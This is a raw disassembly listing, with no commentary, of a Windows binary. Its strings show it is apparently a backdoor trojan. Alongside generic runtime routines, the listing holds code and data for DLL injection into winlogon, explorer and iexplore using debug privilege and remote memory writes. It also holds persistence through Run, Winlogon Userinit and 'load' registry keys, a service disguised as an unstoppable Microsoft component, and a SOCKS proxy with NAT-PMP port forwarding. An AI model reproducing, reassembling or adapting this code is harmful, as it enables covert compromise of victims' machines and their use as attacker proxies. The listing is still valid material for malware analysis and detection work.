		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_40D43E
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_40D52A
; ---------------------------------------------------------------------------


loc_40D43E:				; CODE XREF: sub_40D320+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_40D469
; ---------------------------------------------------------------------------


loc_40D447:				; CODE XREF: sub_40D320+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_40D469:				; CODE XREF: sub_40D320+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_40D447
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_40D51F
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_40D51F:				; CODE XREF: sub_40D320+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_40D52A:				; CODE XREF: sub_40D320+50j
					; sub_40D320+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D540	proc near		; CODE XREF: sub_40C740+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D540	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D570	proc near		; CODE XREF: sub_40CFE0+77p
					; sub_40CFE0+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_40D5C6
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_40D5FD
; ---------------------------------------------------------------------------


loc_40D5C6:				; CODE XREF: sub_40D570+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_40D5ED
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_40D5FD
; ---------------------------------------------------------------------------


loc_40D5ED:				; CODE XREF: sub_40D570+5Ej
		call	sub_408730
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D610
; ---------------------------------------------------------------------------


loc_40D5FD:				; CODE XREF: sub_40D570+54j
					; sub_40D570+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_40D610:				; CODE XREF: sub_40D570+8Bj
		pop	esi
		pop	ebx
		retn
sub_40D570	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A8C
		jnb	short loc_40D649
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40D659


loc_40D649:				; CODE XREF: DMN0:0040D62Cj
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D679
; ---------------------------------------------------------------------------


loc_40D659:				; CODE XREF: DMN0:0040D647j
		push	ebx
		call	sub_40B010
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_40D570
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40D679:				; CODE XREF: DMN0:0040D657j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D680	proc near		; CODE XREF: sub_40D190+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_40D68D:				; CODE XREF: sub_40D680+19j
		cmp	[ecx], bl
		jnz	short loc_40D693
		mov	edx, ecx


loc_40D693:				; CODE XREF: sub_40D680+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_40D69B
		inc	ecx
		jmp	short loc_40D68D
; ---------------------------------------------------------------------------


loc_40D69B:				; CODE XREF: sub_40D680+16j
		mov	eax, edx
		pop	ebx
		retn
sub_40D680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D6A0	proc near		; CODE XREF: sub_40D280+5Cp
					; sub_40D320+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_40D6DF
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40D6DF
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40D6DF
		cmp	word ptr [ecx],	0
		jz	loc_40D799


loc_40D6DF:				; CODE XREF: sub_40D6A0+25j
					; sub_40D6A0+2Cj ...
		jmp	short loc_40D701
; ---------------------------------------------------------------------------


loc_40D6E1:				; CODE XREF: sub_40D6A0+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_40D701:				; CODE XREF: sub_40D6A0:loc_40D6DFj
		cmp	word ptr [ecx+6], 0
		jz	short loc_40D6E1
		jmp	short loc_40D747
; ---------------------------------------------------------------------------


loc_40D70A:				; CODE XREF: sub_40D6A0+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_40D747:				; CODE XREF: sub_40D6A0+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_40D70A
		jmp	short loc_40D78D
; ---------------------------------------------------------------------------


loc_40D750:				; CODE XREF: sub_40D6A0+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_40D78D:				; CODE XREF: sub_40D6A0+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_40D750
		and	word ptr [ecx+6], 0Fh


loc_40D799:				; CODE XREF: sub_40D6A0+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_40D6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D7B0	proc near		; CODE XREF: sub_408820+13p
		jmp	dword_411DB0
sub_40D7B0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 212h	dup(0)
dword_40E000	dd 656E6F64h		; DATA XREF: sub_406A81+584o
					; sub_447EEC+584o
		db 2Eh,	0Ah, 0
aNotDaemonized_	db 'not daemonized...',0Ah,0 ; DATA XREF: sub_406A81:loc_406FC3o
					; sub_447EEC:loc_44842Eo
aInitializingSe	db 'initializing service startup sequence...',0Ah,0
					; DATA XREF: sub_406A81+527o
					; sub_447EEC+527o
aServiceInstall	db 'service installed ok...',0Ah,0 ; DATA XREF: sub_406A81+476o
					; sub_447EEC+476o
aInstallingSe_0	db 'installing service...',0Ah,0 ; DATA XREF: sub_406A81+462o
					; sub_447EEC+462o
aRegisteredSe_1	db 'registered service is not running, unrest.',0Ah,0
					; DATA XREF: sub_406A81:loc_406EB9o
					; sub_447EEC:loc_448324o
aStartingServic	db 'starting service...',0Ah,0 ; DATA XREF: sub_406A81+41Do
					; sub_406A81:loc_406F3Co ...
aI		db '%i',0Ah,0           ; DATA XREF: sub_406A81+3FEo
					; sub_447EEC+3FEo
aInstallingServ	db 'installing service, res=',0 ; DATA XREF: sub_406A81+3E8o
					; sub_447EEC+3E8o
aRegisteredSe_0	db 'registered service is not running.',0Ah,0
					; DATA XREF: sub_406A81:loc_406E55o
					; sub_447EEC:loc_4482C0o
aRegisteredServ	db 'registered service is here...',0Ah,0 ; DATA XREF: sub_406A81:loc_406E3Ao
					; sub_447EEC:loc_4482A5o
aDonTRegisterIt	db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_406A81:loc_406E23o
					; sub_447EEC:loc_44828Eo
aRegisterItAndR	db 'register it and restart',0Ah,0 ; DATA XREF: sub_406A81+392o
					; sub_447EEC+392o
aNoRegisteredSe	db 'no registered service, ',0 ; DATA XREF: sub_406A81+36Bo
					; sub_447EEC+36Bo
aWaitingComplet	db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_406A81:loc_406DD6o
					; sub_447EEC:loc_448241o
aWaiting___	db '*** waiting...',0Ah,0 ; DATA XREF: sub_406A81+32Co
					; sub_447EEC+32Co
aRemovingS	db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_406A81+2A0o
					; sub_447EEC+2A0o
aInitializingWi	db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_406A81+24Bo
					; sub_447EEC+24Bo
aCopyingFailed	db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_406A81:loc_406CA4o
					; sub_447EEC:loc_44810Fo
aCreateprocessF	db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_406A81:loc_406C89o
					; sub_447EEC:loc_4480F4o
aCmdlineS	db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_406A81+1DFo
					; sub_447EEC+1DFo
aCopying___	db 'copying...',0Ah,0   ; DATA XREF: sub_406A81+167o
					; sub_447EEC+167o
aNewSOldSSelfS	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_406A81+E0o
					; sub_447EEC+E0o
aWaiting10SecsS	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_406A81+9Ao
					; sub_447EEC+9Ao
aShutdownmutexc	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_406A81+8Do
					; sub_447EEC+8Do
aUpdate_0	db '*update',0          ; DATA XREF: sub_406A81+5Eo
					; sub_447EEC+5Eo
aInjectionthrea	db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406815:loc_4069D5o
					; DMN1:loc_447E40o
aDllStopped___	db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406815:loc_40699Do
					; DMN1:loc_447E08o
aDying		db 'dying',0Ah,0        ; DATA XREF: sub_406815+173o
					; DMN1:00447DF3o
aWaitingForDllD	db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406815+129o
					; DMN1:00447DA9o
aWinlogon_exe	db 'winlogon.exe',0     ; DATA XREF: sub_406815:loc_4068D4o
					; DMN1:loc_447D3Fo
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_406815:loc_4068CBo
					; DMN1:loc_447D36o
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_406815:loc_4068C2o
					; DMN1:loc_447D2Do
aOldDllFoundWai	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
					; DATA XREF: sub_406815+59o
					; DMN1:00447CD9o
aTryingSWithSFa	db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_40663E+A1o
					; sub_447AA9+A1o
aTryingSWithS	db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_40663E+5Bo
					; sub_447AA9+5Bo
aDllInjected	db 'DLL injected!',0Ah,0 ; DATA XREF: sub_406576+8Co
					; sub_4479E1+8Co
aThreadComplete	db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_406576+65o
					; sub_4479E1+65o
aThreadInjected	db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_406576+42o
					; sub_4479E1+42o
aProcessOpened_	db 'process opened.',0Ah,0 ; DATA XREF: sub_406576+1Do
					; sub_4479E1+1Do
aS		db '<%s>',0Ah,0         ; DATA XREF: sub_40644C+FEo
					; sub_40663E+81o ...
aWriteprocessme	db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_40644C+F0o
					; sub_4478B7+F0o
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_40644C+ADo
					; sub_4478B7+ADo
aExitthread	db 'ExitThread',0       ; DATA XREF: sub_40644C+9Co
					; sub_4478B7+9Co
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_40644C+8Bo
					; sub_4478B7+8Bo
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40644C+75o
					; sub_4478B7+75o
aVirtualallocex	db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_40644C+31o
					; sub_4478B7+31o
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4063D2+Ao
					; sub_44783D+Ao
aDllNotExtracte	db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_40628E:loc_4063C1o
					; sub_4476F9:loc_44782Co
aDllOkS		db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_40628E+118o
					; sub_4476F9+118o
aTryingDllS	db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+F8o
					; sub_4476F9+F8o
aDllFoundS	db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_40628E+ADo
					; sub_4476F9+ADo
aCheckingDllS	db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+8Do
					; sub_4476F9+8Do
a000_tmp	db '000.tmp',0          ; DATA XREF: sub_40628E+77o
					; sub_4476F9+77o
aNmsl_		db 'nmsl_',0            ; DATA XREF: sub_40628E+66o
					; sub_40628E+E1o ...
aOldDllS	db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+36o
					; sub_4476F9+36o
aR		db 'r',0                ; DATA XREF: sub_40628E+16o
					; sub_4476F9+16o
aFileSWrittenWs	db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_406183+E1o
					; sub_4475EE+E1o
aFileSCreated	db 'file <%s> created',0Ah,0 ; DATA XREF: sub_406183+B5o
					; sub_4475EE+B5o
aFileSNotCreate	db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_406183+A4o
					; sub_4475EE+A4o
aWb		db 'wb+',0              ; DATA XREF: sub_406183+90o
					; sub_4475EE+90o
aResourceHereSi	db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_406183+50o
					; sub_4475EE+50o
a8001		db '#8001',0            ; DATA XREF: sub_406183+2Ao
					; sub_4475EE+2Ao
aDlltestliste_2	db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_406086:loc_40613Bo
					; DMN1:loc_4475A6o
aDlltestliste_1	db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_406086+52o
					; DMN1:00447543o
aDlltestliste_0	db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_406086+37o
					; DMN1:00447528o
aDlltestlistent	db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_406086+10o
					; DMN1:00447501o
aDlltestthreadP	db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_406010+54o
					; DMN1:004474CFo
asc_40E58E	db '**',0               ; DATA XREF: sub_405F73+5Fo
					; sub_406A81+317o ...
aServicefixerth	db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405F73+2o
					; DMN1:004473E0o
asc_40E5AE	db '" ',0               ; DATA XREF: sub_405EBA+46o
					; sub_447325+46o
aRegisterservic	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
					; DATA XREF: DMN0:loc_405E4Bo
					; DMN1:loc_4472B6o
aSetservicest_1	db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405E2Do
					; DMN1:00447298o
aSetservicest_0	db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405E02o
					; DMN1:0044726Do
aSetservicestat	db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405DDCo
					; DMN1:00447247o
aServicectrldis	db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_405D6Bo
					; DMN1:004471D6o
aWaitingForStop	db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_405C00+ACo
					; sub_44706B+ACo
aEventCreatonEr	db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_405C00+71o
					; sub_44706B+71o
aEventCreated_	db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_405C00+5Do
					; sub_44706B+5Do
aWritingToHkcuA	db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405B04+4Fo
					; sub_446F6F+4Fo
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_405B04+3Do
					; sub_405B04+66o ...
aWritingToHklmA	db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405B04+26o
					; sub_446F6F+26o
asc_40E700	db '*',0                ; DATA XREF: sub_405B04+Fo
					; sub_446F6F+Fo
aLoad		db 'load',0             ; DATA XREF: sub_405A43+15o
					; sub_405A43+40o ...
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
					; DATA XREF: sub_405A43+1Ao
					; sub_405A43+45o ...
asc_40E73C	db ',',0                ; DATA XREF: sub_40596B+A1o
					; sub_446DD6+A1o
aUserinit	db 'Userinit',0         ; DATA XREF: sub_40596B+15o
					; sub_40596B+40o ...
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
					; DATA XREF: sub_40596B+1Ao
					; sub_40596B+45o ...
aStartupprogram	db 'StartupPrograms',0  ; DATA XREF: sub_4058D5+14o
					; sub_4058D5+3Bo ...
aSystemCurren_1	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
					; DATA XREF: sub_4058D5+19o
					; sub_4058D5+40o ...
aRegreadCanTRea	db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_40576F+A2o
					; sub_446BDA+A2o
aRegreadReadIBy	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_40576F+8Eo
					; sub_446BDA+8Eo
aRegreadOpenedS	db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_40576F+44o
					; sub_446BDA+44o
a1ea9b031C3014f	db '{1EA9B031-C301-4F76-805F-A41ECF9ED164}',0 ; DATA XREF: DMN0:00405693o
					; sub_405C00+44o ...
aDescription	db 'Description',0      ; DATA XREF: sub_405517+13Ao
					; sub_446982+13Ao
aDisplayname	db 'DisplayName',0      ; DATA XREF: sub_405517+116o
					; sub_446982+116o
aLocalsystem	db 'LocalSystem',0      ; DATA XREF: sub_405517+E9o
					; sub_446982+E9o
aObjectname	db 'ObjectName',0       ; DATA XREF: sub_405517+F2o
					; sub_446982+F2o
aErrorcontrol	db 'ErrorControl',0     ; DATA XREF: sub_405517+BDo
					; sub_405517+D9o ...
aStart		db 'Start',0            ; DATA XREF: sub_405517+A1o
					; sub_446982+A1o
aType		db 'Type',0             ; DATA XREF: sub_405517+82o
					; sub_446982+82o
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_405441+87o
					; sub_405517+15Eo ...
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_405441+Bo
					; sub_405517+Ao ...
aProvidesSuppor	db 'Provides support for Microsoft Windows® NMSL.  This service can n'
					; DATA XREF: sub_4052BA+9Bo
					; sub_405517+124o ...
		db 'ot be stopped.',0
aServiceRegiste	db 'service registered',0Ah,0 ; DATA XREF: sub_4052BA:loc_405342o
					; sub_446725:loc_4467ADo
aNmsl		db 'NMSL',0             ; DATA XREF: sub_405048+19o
					; sub_405092+23o ...
aStartingCommTh	db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404CDF+192o
					; DMN1:004462DCo
aNatpmpForwarde	db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404CDF+13Bo
					; DMN1:00446285o
aSocksPortI	db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404CDF+DFo
					; DMN1:00446229o
aCanTBindListen	db 'can',27h,'t bind listen socket!',0Ah,0
aListener___	db 'listener...',0Ah,0  ; DATA XREF: sub_404CDF+14o
					; DMN1:0044615Eo
aTransferringDa	db 'transferring data...',0Ah,0 ; DATA XREF: sub_404645+558o
					; DMN1:00446008o
aSocksVIS	db 'socks v%i  [%s]',0Ah,0 ; DATA XREF: sub_404645+119o
					; DMN1:00445BC9o
aConnectionFrom	db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_404645+62o
					; DMN1:00445B12o
aCanTBindPortMa	db 'can',27h,'t bind port mapper listen socket!',0Ah,0
					; DATA XREF: sub_40440D+2Bo
					; DMN1:004458A3o
aConnectionClos	db 'connection closed.',0Ah,0 ; DATA XREF: sub_40417F:loc_4043E2o
					; sub_404645:loc_404CB2o ...
aDataExchangeCo	db 'data exchange complete',0Ah,0 ; DATA XREF: sub_40417F:loc_4043D7o
					; sub_404645:loc_404CA7o ...
aConnectedToSI	db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_40417F+14Co
					; sub_404645+522o ...
aConnectionToSI	db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_40417F+12Co
					; sub_404645+4E1o ...
aConnectingToSI	db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_40417F+F0o
					; sub_404645+4A3o ...
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_40417F+A5o
					; DMN1:0044568Fo
aConnectionReje	db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_40417F+8Bo
					; sub_404645+D8o ...
a_win32__nmsl_u	db '_win32__nmsl_um__',0 ; DATA XREF: sub_40410E+10o
					; sub_445579+10o
aSystem		db 'SYSTEM',0           ; DATA XREF: sub_4040C3+31o
					; sub_44552E+31o
asc_40EAB5	db 0Dh,'                      ',0Dh,0 ; DATA XREF: sub_40400E+90o
					; DMN1:00445509o
aISecondsLeft_	db 0Dh,'%i seconds left   ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o
					; DMN1:004454E0o
aSrvWaitingISec	db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o
					; DMN1:004454CFo
aSrvcommthreadD	db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o
					; DMN1:loc_44543Eo

; =============== S U B	R O U T	I N E =======================================



sub_40EB17	proc near		; DATA XREF: sub_403C3F+351o
					; DMN1:004453FBo

; FUNCTION CHUNK AT 0040EB92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EBFC SIZE 00000008 BYTES

		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		jnb	short loc_40EB92
		popa
		jb	short loc_40EB95
		imul	ebp, [esi+67h],	64707520h
		popa
		jz	short sub_40EB90
		jb	short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		db	2Eh
		or	al, cs:[eax]
sub_40EB17	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB31	proc near		; DATA XREF: sub_403C3F+2F5o
					; DMN1:0044539Fo
		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		push	ebp
		push	eax
		inc	edi
		push	edx
		inc	ecx
		inc	esp
		inc	ebp
		and	ds:0A3E73h, bh
sub_40EB31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_40EB44	dd 3A565253h, 4C504920h, 0A545349h ; DATA XREF:	sub_403C3F:loc_403EF0o
					; DMN1:loc_44535Bo
		db 0
byte_40EB51	db 53h,	52h, 56h	; DATA XREF: sub_403C3F:loc_403EE0o
					; DMN1:loc_44534Bo
		dd 5942203Ah
		db 45h,	0Ah, 0
aSrvAckReject_0	db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB17+14j
					; DATA XREF: sub_403C3F+252o ...
aSrvAckRejected	db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o
					; DMN1:004452E3o

; =============== S U B	R O U T	I N E =======================================



sub_40EB90	proc near		; CODE XREF: sub_40EB17+12j
					; DATA XREF: sub_403C3F+220o ...
		push	ebx
		push	edx
sub_40EB90	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40EB17


loc_40EB92:				; CODE XREF: sub_40EB17+5j
		push	esi
		cmp	ah, [eax]


loc_40EB95:				; CODE XREF: sub_40EB17+8j
		jnb	short loc_40EBFC
; END OF FUNCTION CHUNK	FOR sub_40EB17
		outsb
		imul	ebp, fs:[esi+67h], 6A657220h
		arpl	gs:[ebp+64h], si
		and	[ecx+50h], cl
		jnb	short near ptr aSrvSendingReje+18h
		popaw
; ---------------------------------------------------------------------------
		dd 64656C69h
		db 0Ah,	0
aSrvSendingReje	db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o
					; DMN1:0044525Fo
aSrvAckHandshac	db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo
					; DMN1:00445245o
byte_40EBED	db 53h,	52h, 56h	; DATA XREF: sub_403C3F:loc_403DC1o
					; DMN1:loc_44522Co
		dd 4341203Ah, 6168204Bh, 6873646Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB17


loc_40EBFC:				; CODE XREF: sub_40EB17:loc_40EB95j
		popa
		arpl	[ebx+69h], bp
		outsb
		or	al, [bx+si]
